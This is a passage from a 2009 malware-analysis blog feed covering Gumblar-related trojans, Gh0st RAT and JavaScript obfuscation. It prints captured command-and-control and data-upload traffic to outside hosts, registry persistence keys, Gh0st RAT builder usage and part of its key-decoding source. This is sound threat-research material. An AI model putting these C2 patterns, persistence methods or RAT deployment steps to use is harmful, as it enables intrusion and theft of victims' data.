boundary=--------------------------28cd6f28cd6f28cd6f&lt;br /&gt;User-Agent: IE&lt;br /&gt;Host: 91.207.61.44&lt;br /&gt;Content-Length: 305&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;----------------------------28cd6f28cd6f28cd6f &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Disposition: form-data; name="upload_file"; filename="2232068885.16"&lt;br /&gt;Content-Type: application/octet-stream &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0S...0...*.H.. .......0.0;0.0...+........z(W...g*{....5&amp;amp;.............*...Z...18m.....&lt;br /&gt;&lt;br /&gt;----------------------------28cd6f28cd6f28cd6f—&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;POST /cgi-bin/fd.cgi HTTP/1.1&lt;br /&gt;Content-Type: multipart/form-data; boundary=--------------------------28ea2e28ea2e28ea2e&lt;br /&gt;User-Agent: IE&lt;br /&gt;Host: 91.207.61.44&lt;br /&gt;Content-Length: 263&lt;br /&gt;Cache-Control: no-cache &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;----------------------------28ea2e28ea2e28ea2e &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Disposition: form-data; name="upload_file"; filename="2232068885.16" &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Type: application/octet-stream &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;URL: https://212.117.165.54/put.php &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;load=1 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;----------------------------28ea2e28ea2e28ea2e--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;POST /cgi-bin/fd.cgi HTTP/1.1&lt;br /&gt;Content-Type: multipart/form-data; boundary=--------------------------297799297799297799&lt;br /&gt;User-Agent: IE&lt;br /&gt;Host: 91.207.61.44&lt;br /&gt;Content-Length: 3494&lt;br /&gt;Cache-Control: no-cache  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;----------------------------297799297799297799 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Disposition: form-data; name="upload_file"; filename="2232068885.16" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Type: application/octet-stream &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;URL: https://212.117.165.54/put.php &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;type=jpg&amp;amp;img=/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAwANoDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;POST /cgi-bin/fd.cgi HTTP/1.1&lt;br /&gt;Content-Type: multipart/form-data; boundary=--------------------------2a3ea22a3ea22a3ea2&lt;br /&gt;User-Agent: IE&lt;br /&gt;Host: 91.207.61.44&lt;br /&gt;Content-Length: 266&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;----------------------------2a3ea22a3ea22a3ea2 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Disposition: form-data; name="upload_file"; filename="2232068885.16"&lt;br /&gt;Content-Type: application/octet-stream &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;URL: https://212.117.165.54/put.php &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;confirm=1 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;----------------------------2a3ea22a3ea22a3ea2—&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;wpv781239024633.exe (Zefarch)&lt;/span&gt;&lt;br /&gt;The Temp file wpv781239024633.exe creates a &lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2009-012801-2706-99&amp;amp;tabid=2"&gt;Trojan. Zefarch&lt;/a&gt; variant. The malware monitors connections to various search engines and redirects search results to adware and malicious websites. The Temp file wpv781239024633.exe creates:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\psbdxt.dll&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Rzuwewi "Wjite"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_BINARY&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 43, 01, 38, 03, 58, 05, 51, 07, 41, 09, 44, 0B, 48, 0D, 41, 0F, 47, 11, 41, 13, 48, 15, 66, 17, 6B, 19, 78, 1B, 78, 1D, 66, 1F, 54, 21, 0C, 23, 40, 25, 4A, 27, 44, 29, 2A, 2B&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Rzuwewi "Xlaheko"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 61&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;wpv941239875139.exe (Pushdo)&lt;/span&gt;&lt;br /&gt;The Temp file wpv941239875139.exe creates a &lt;a href="http://www.secureworks.com/research/threats/pushdo/"&gt;Pushdo/Pandex/Cutwail&lt;/a&gt; variant. The malware serves as a spambot. The Temp file wpv941239875139.exe creates a file in the user profile directory with the same name as the actual profile name. In this example john.exe was created.&lt;br /&gt;&lt;br /&gt;Creates:&lt;br /&gt;C:\Documents and Settings\John\John.exe&lt;br /&gt;&lt;br /&gt;A registry key is created to launch the malware at startup&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "John"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: C:\Documents and Settings\John\John.exe /i&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "John"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: C:\Documents and Settings\John\John.exe /i&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware connected to 94.247.2.95 (Latvia) for C2.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;GET /40E8001430303030303030303030303030303030303031306C0000009666000000007600000642EB00053059707A82 HTTP/1.0 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; Content-Type: application/octet-stream&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Filename    Size    MD5&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;741l3.exe    72704    03aaccd01330f844d6c601df997fc1ff&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;9129837.exe    33792    096ffe693647f1ad8b2e86a8b7f05b44&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;crypts.dll    33280    1e6d7d0dcb2afcbf20b676f0992057bb&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;digiwet.dll    18432    3a1d598473469887fd0ed651b7ca96b8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;flash.swf    16588    609d207cf010cbda0fcde027301cbd0e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;John.exe    20451    eda1b7d3cdb3fb1a1c4e4ba2b51b46a7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;load.exe    18432    4c328c15f6e8603f713fdacf7dac6e87&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;new_drv.sys    8192    a54de1d46ff7bdefbf9d9284c1916c5e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psbdxt.dll    45568    e075c7258f38b6581277552db80659f3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;readme.pdf    15964    3e8da97b9f4da49498dfa31ae1c5c342&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;wpv451239013964.exe    84480    29d9286c42074702a96d94138a092450&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;wpv781239024633.exe    45568    27a9a6570b53d3dc1e9a24317f6f6fa6&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-3391528375637606623?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/3391528375637606623/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=3391528375637606623' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/3391528375637606623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/3391528375637606623'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2009/06/gumblar-analysis.html' title='Gumblar Analysis'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-979630834520103091</id><published>2009-04-11T22:40:00.011-04:00</published><updated>2009-04-11T23:13:09.164-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GhostNet'/><category scheme='http://www.blogger.com/atom/ns#' term='Gh0st Rat'/><title type='text'>Gh0st Rat</title><content type='html'>On April 11, 2009, researchers at the &lt;a href="http://infowar-monitor.net/"&gt;Information Warfare Monitor&lt;/a&gt; released a report that uncovered a suspected cyber espionage network of over 1,295 infected hosts in 103 countries. The report "&lt;a href="http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage-Network"&gt;Tracking GhostNet: Investigating a Cyber Espionage Network&lt;/a&gt;" is summarized as:&lt;br /&gt;&lt;br /&gt;"This report documents the GhostNet - a suspected cyber espionage network of over 1,295 infected computers in 103 countries, 30% of which are high-value targets, including ministries of foreign affairs, embassies, international organizations, news media, and NGOs.&lt;br /&gt;&lt;br /&gt;The capabilities of GhostNet are far-reaching. The report reveals that Tibetan computer systems were compromised giving attackers access to potentially sensitive information, including documents from the private office of the Dalai Lama. The report presents evidence showing that numerous computer systems were compromised in ways that circumstantially point to China as the culprit. But the report is careful not to draw conclusions about the exact motivation or the identity of the attacker(s), or how to accurately characterize this network of infections as a whole. The report argues that attribution can be obscured.&lt;br /&gt;&lt;br /&gt;The report concludes that who is in control of GhostNet is less important than the opportunity for generating strategic intelligence that it represents. The report underscores the growing capabilities of computer network exploitation, the ease by which cyberspace can be used as a vector for new do-it-yourself form of signals intelligence. It ends with warning to policy makers that information security requires serious attention."&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Gh0st RAT&lt;/span&gt;&lt;br /&gt;GhostNet is a dubbed name for the C2 network of hosts infected with Gh0st RAT. The latest version of Gh0st RAT is Gh0st RAT Beta 3.6.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Gh0st RAT Beta 3.6 (English) Usage&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Server Creation&lt;/span&gt;&lt;br /&gt;The file gh0st_eng.exe is used to create the Gh0st RAT server dropper and serves as the C2 management console.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;File: gh0st_eng.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Size: 712704&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;MD5:  88912D9FE630BEE510BD7E85D0F9331D&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_q7ApSx8GNew/SeFW6GxB7kI/AAAAAAAAAD4/aqXdKK6zORg/s1600-h/builder1.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 142px;" src="http://1.bp.blogspot.com/_q7ApSx8GNew/SeFW6GxB7kI/AAAAAAAAAD4/aqXdKK6zORg/s320/builder1.jpg" alt="" id="BLOGGER_PHOTO_ID_5323631790777298498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The setting tab provides the C2 listening port, proxy configurations, user and password, IP and port for the Gh0st RAT to connect to, and a string created by an algorithm based on the DNS/IP and port.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_q7ApSx8GNew/SeFXLqwccqI/AAAAAAAAAEA/7P68vPRz5DA/s1600-h/builder2.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 142px;" src="http://2.bp.blogspot.com/_q7ApSx8GNew/SeFXLqwccqI/AAAAAAAAAEA/7P68vPRz5DA/s320/builder2.jpg" alt="" id="BLOGGER_PHOTO_ID_5323632092496294562" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Gh0st RAT Beta 3.6 source decode.h file contains the algorithm for the Key Strings creation.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";&lt;br /&gt;&lt;br /&gt;static int pos(char c)&lt;br /&gt;{&lt;br /&gt;char *p;&lt;br /&gt;for(p = base64; *p; p++)&lt;br /&gt; if(*p == c)&lt;br /&gt;   return p - base64;&lt;br /&gt;return -1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int base64_decode(const char *str, char **data)&lt;br /&gt;{&lt;br /&gt;const char *s, *p;&lt;br /&gt;unsigned char *q;&lt;br /&gt;int c;&lt;br /&gt;int x;&lt;br /&gt;int done = 0;&lt;br /&gt;int len;&lt;br /&gt;s = (const char *)malloc(strlen(str));&lt;br /&gt;q = (unsigned char *)s;&lt;br /&gt;for(p=str; *p &amp;amp;&amp;amp; !done; p+=4){&lt;br /&gt;   x = pos(p[0]);&lt;br /&gt;   if(x &gt;= 0)&lt;br /&gt;       c = x;&lt;br /&gt;   else{&lt;br /&gt;       done = 3;&lt;br /&gt;       break;&lt;br /&gt;   }&lt;br /&gt;   c*=64;&lt;br /&gt;&lt;br /&gt;   x = pos(p[1]);&lt;br /&gt;   if(x &gt;= 0)&lt;br /&gt;       c += x;&lt;br /&gt;   else&lt;br /&gt;       return -1;&lt;br /&gt;   c*=64;&lt;br /&gt;&lt;br /&gt;   if(p[2] == '=')&lt;br /&gt;       done++;&lt;br /&gt;   else{&lt;br /&gt;       x = pos(p[2]);&lt;br /&gt;       if(x &gt;= 0)&lt;br /&gt;           c += x;&lt;br /&gt;       else&lt;br /&gt;           return -1;&lt;br /&gt;   }&lt;br /&gt;   c*=64;&lt;br /&gt;&lt;br /&gt;   if(p[3] == '=')&lt;br /&gt;       done++;&lt;br /&gt;   else{&lt;br /&gt;       if(done)&lt;br /&gt;           return -1;&lt;br /&gt;       x = pos(p[3]);&lt;br /&gt;       if(x &gt;= 0)&lt;br /&gt;           c += x;&lt;br /&gt;       else&lt;br /&gt;           return -1;&lt;br /&gt;   }&lt;br /&gt;   if(done &lt;&gt;&gt;16;&lt;br /&gt;&lt;br /&gt;   if(done &lt;&gt;&gt;8;&lt;br /&gt;   if(done &lt;&gt;&gt;0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;len = q - (unsigned char*)(s);&lt;br /&gt;&lt;br /&gt;*data = (char*)realloc((void *)s, len);&lt;br /&gt;&lt;br /&gt;return len;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;char* MyDecode(char *str)&lt;br /&gt;{&lt;br /&gt; int        i, len;&lt;br /&gt; char    *data = NULL;&lt;br /&gt; len = base64_decode(str, &amp;amp;data);&lt;br /&gt;&lt;br /&gt; for (i = 0; i &lt;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;The build tab provides a C2 HTTP initial destination, and registry key parameters. The tool gives credit to C.Rufus Security Team and CoolDiyer. The source code ReadMe file included the following credits and links to the tool and demo.&lt;br /&gt;&lt;br /&gt;Gh0st RAT&lt;br /&gt;C.Rufus Security Team&lt;br /&gt;http://www.wolfexp.net&lt;br /&gt;&lt;br /&gt;http://www.wolfexp.net/other/Gh0st_RAT/index.html&lt;br /&gt;http://www.wolfexp.net/other/Gh0st_RAT/demo.rar&lt;br /&gt;&lt;br /&gt;In this example, the Gh0st RAT server was created as:&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;File: server.exe&lt;br /&gt;Size: 112247&lt;br /&gt;MD5:  7602AA86A58D68CCFD2E380BD6DA5158&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_q7ApSx8GNew/SeFX0RqlCNI/AAAAAAAAAEI/xpkxGZjr4mc/s1600-h/builder3.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 142px;" src="http://2.bp.blogspot.com/_q7ApSx8GNew/SeFX0RqlCNI/AAAAAAAAAEI/xpkxGZjr4mc/s320/builder3.jpg" alt="" id="BLOGGER_PHOTO_ID_5323632790135441618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Server Execution&lt;/span&gt;&lt;br /&gt;The server component is intended to be executed on a victim system. The execution of server.exe results in the download of ip.jpg which contains the string that causes the redirect to the real C2 site.&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /ip.jpg HTTP/1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;User-Agent: Mozilla/4.0 (compatible)&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Host: www.badsite.org&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Pragma: no-cache &lt;/span&gt;  &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Date: Sat, 11 Apr 2009 18:13:58 GMT&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Server: Apache&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Last-Modified: Sat, 11 Apr 2009 18:06:35 GMT&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;ETag: "1bdecfd-20-49e0dc2b"&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Accept-Ranges: bytes&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Content-Length: 32&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Connection: close&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Content-Type: image/jpeg&lt;/span&gt;  &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;AAAArqaxva61p72vva6xqaevnw==AAAA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Server.exe creates the dll file 6to4svc.dll in the system32 directory.&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;File: 6to4svc.dll&lt;br /&gt;Size: 100352&lt;br /&gt;MD5:  97D0CECEF133BBE59ABF3CB6D05226C3&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The following registry keys register 6to4svc.dll as the service 6to4 with the display name Microsoft Device Manager.&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4 "Description"&lt;br /&gt; Type: REG_SZ&lt;br /&gt; Data: Service Description&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4 "DisplayName"&lt;br /&gt; Type: REG_SZ&lt;br /&gt; Data: Microsoft Device Manager&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4 "ErrorControl"&lt;br /&gt; Type: REG_DWORD&lt;br /&gt; Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4 "ImagePath"&lt;br /&gt; Type: REG_EXPAND_SZ&lt;br /&gt; Data: %SystemRoot%\System32\svchost.exe -k netsvcs&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4 "ObjectName"&lt;br /&gt; Type: REG_SZ&lt;br /&gt; Data: LocalSystem&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4 "Start"&lt;br /&gt; Type: REG_DWORD&lt;br /&gt; Data: 02, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4 "Type"&lt;br /&gt; Type: REG_DWORD&lt;br /&gt; Data: 20, 01, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4\Enum "0"&lt;br /&gt; Type: REG_SZ&lt;br /&gt; Data: Root\LEGACY_6TO4\0000&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4\Enum "Count"&lt;br /&gt; Type: REG_DWORD&lt;br /&gt; Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4\Enum "NextInstance"&lt;br /&gt; Type: REG_DWORD&lt;br /&gt; Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4\Parameters "ServiceDll"&lt;br /&gt; Type: REG_EXPAND_SZ&lt;br /&gt; Data: C:\WINDOWS\system32\6to4ex.dll&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4\Security "Security"&lt;br /&gt; Type: REG_BINARY&lt;br /&gt; Data:[hex]&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The Gh0st RAT server 6to4svc.dll connects to the C2 host destination.&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_q7ApSx8GNew/SeFYtulyR3I/AAAAAAAAAEQ/tTIjEWinAr0/s1600-h/console1.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 111px;" src="http://4.bp.blogspot.com/_q7ApSx8GNew/SeFYtulyR3I/AAAAAAAAAEQ/tTIjEWinAr0/s320/console1.jpg" alt="" id="BLOGGER_PHOTO_ID_5323633777152509810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Server Gh0st RAT Management&lt;/span&gt;&lt;br /&gt;The Gh0st RAT C2 management console provides several options for manipulating a victim host. The C2 functionality can be observed at &lt;a href="http://www.youtube.com/watch?v=qP-9qmSCe7o"&gt;http://www.youtube.com/watch?v=qP-9qmSCe7o&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_q7ApSx8GNew/SeFY7sCZpDI/AAAAAAAAAEY/xkTPGcuIpWY/s1600-h/console2.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 142px;" src="http://3.bp.blogspot.com/_q7ApSx8GNew/SeFY7sCZpDI/AAAAAAAAAEY/xkTPGcuIpWY/s320/console2.jpg" alt="" id="BLOGGER_PHOTO_ID_5323634016985392178" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-979630834520103091?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/979630834520103091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=979630834520103091' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/979630834520103091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/979630834520103091'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2009/04/gh0st-rat.html' title='Gh0st Rat'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_q7ApSx8GNew/SeFW6GxB7kI/AAAAAAAAAD4/aqXdKK6zORg/s72-c/builder1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-6367014828049508902</id><published>2009-01-20T16:40:00.008-05:00</published><updated>2009-01-20T17:26:42.480-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='srv.ad-adnet.net'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='decoding'/><title type='text'>Evading JavaScript Decoders?</title><content type='html'>I was recently provided exploit code that appears to be designed to evade analysts using decoding tools such as &lt;a href="http://malzilla.sourceforge.net/"&gt;Malzilla&lt;/a&gt;. Obfuscation techniques continually evolve, but it is interesting when malcoders utilize techniques to deliberately mess with analysts.&lt;br /&gt;&lt;br /&gt;In the past, I've seen exploit code writers throw in a closing &amp;lt;/textarea&amp;gt; tag nullifying the technique of using textarea tags to manipulate document.write script. An older method of decoding JavaScript was to change script like document.write(r) to document.write("&amp;lt;textarea&amp;gt;"+r+"&amp;lt;/textarea&amp;gt;"). The output would be placed in an html textarea object. The following decoded sample reveals a closing textarea tag which renders the decoding technique useless.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;/textarea&amp;gt;&amp;lt;html&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;script language="JavaScript"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;var memory = new 